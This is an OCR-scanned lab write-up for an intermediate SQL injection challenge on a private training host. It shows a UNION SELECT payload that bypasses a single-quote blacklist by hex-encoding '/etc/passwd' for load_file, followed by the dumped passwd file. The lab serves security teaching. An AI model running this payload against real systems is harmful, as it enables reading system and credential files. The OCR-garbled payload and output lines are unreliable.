SQL Injection Labs

Challenge 7

http://192.168.2.11/sqli/sql10/ [Level: Intermediate]

e Provide the url which displays content of /etc/passwd
The application’s job_id parameter is vulnerable to SQL Injection.

Note: application blacklists single-quote.

€ | @ 192168.211/5qli/sq110/search.phpZjob_id=2 union select null, load_file(/etc/passwd')%23
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Input is going in Integer field, so we don’t need single quote (‘) in our attack. However, to
call load_file we will need single quote. We can hex encode the file name and pass that as an

argument to load_file:

Load_file(Ox2f6574632f706173737764)

http://192.168.2.11/sqli/sql10/search.php?job id=2%20union%20select%20null,%20load fil

€%280x2f6574632f706173737764%29%23
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(€ ) @ 192168.211/5qli/5q110/search.php?job_id=2 union select null, load_file(0:26574632706173737764)%23 rve|s
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(bwe-naw) adj.
Spanish for: Everything tip top and ok!

® Taylor Edward
0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin bin:/bin:/bin/sh sys:x:3:3:sys:/dev:
:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man: 2:man:/var/cache
/man:/bin/sh Ip:x:7:7:1p:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:
/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-
data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/s|

irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false whoopsie:x:104:107::/nonexistent:/bin/false
landscape:x:105:110::/var/lib/landscape:/bin/false sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:107:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash tube:x:1000:1000:tube,,,:/home/tube:
/bin/bash

Further reading:

http://sla.ckers.org/forum/read.php?16,25857
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